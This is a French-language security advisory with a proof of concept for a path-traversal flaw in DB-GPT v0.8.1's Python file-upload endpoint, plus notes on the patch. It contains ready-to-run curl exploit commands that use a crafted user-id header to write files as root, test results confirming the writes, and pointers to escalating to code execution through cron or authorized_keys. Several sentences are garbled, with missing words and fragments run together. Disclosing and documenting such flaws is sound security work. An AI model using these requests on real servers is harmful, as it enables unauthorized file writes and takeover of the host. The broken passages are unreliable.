
CVE-2026-73034 — DB-GPT v0.8.1 : traversée de chemin non authentifiée → écriture arbitraire de fichier en tant que root via l'en-tête user-id. Vérifié + diff du correctif.
CVSS 9.8 (Critique) · CWE-22 · GHSA/Issue #3104
POST /api/v1/python/file/upload dans DB-GPT v0.8.1 prend l'en-tête HTTP user-id et l'utilise
brut comme composant de chemin :
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
Il n'y a aucune authentification — si l'en-tête est absent, l'application revient à user_id="001"
avec role="admin". L'injection de séquences ../ dans permet de sortir de la racine des téléversements et laisse un
où le processus du conteneur (root)
peut écrire → chemin direct vers une RCE (racine web , tâches cron, , …).
user-id.pyauthorized_keysVersions affectées : DB-GPT ≤ v0.8.1
Corrigé : v0.8.2+ — commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (ajoute une liste blanche _SAFE_USER_ID_RE
^[A-Za-z0-9_\-]+$, des vérifications de confinement du répertoire de téléversement, et une revérification des liens symboliques TOCTOU).
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
Remarque : FastAPI mappe le paramètre user_id sur l'en-tête HTTP user-id (trait d'union, pas de
soulignement).
| Test | Résultat |
|---|---|
Téléversement témoin (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
Exploitation user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt ÉCRIT (root) |
Exploitation user-id: ../../../../root | ✅ /root/pwned_root.txt ÉCRIT |
| Build corrigé (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
Script complet : poc_cve-2026-73034.sh (exécute les deux exploitations + vérification dans le conteneur + comparaison
avec le build corrigé).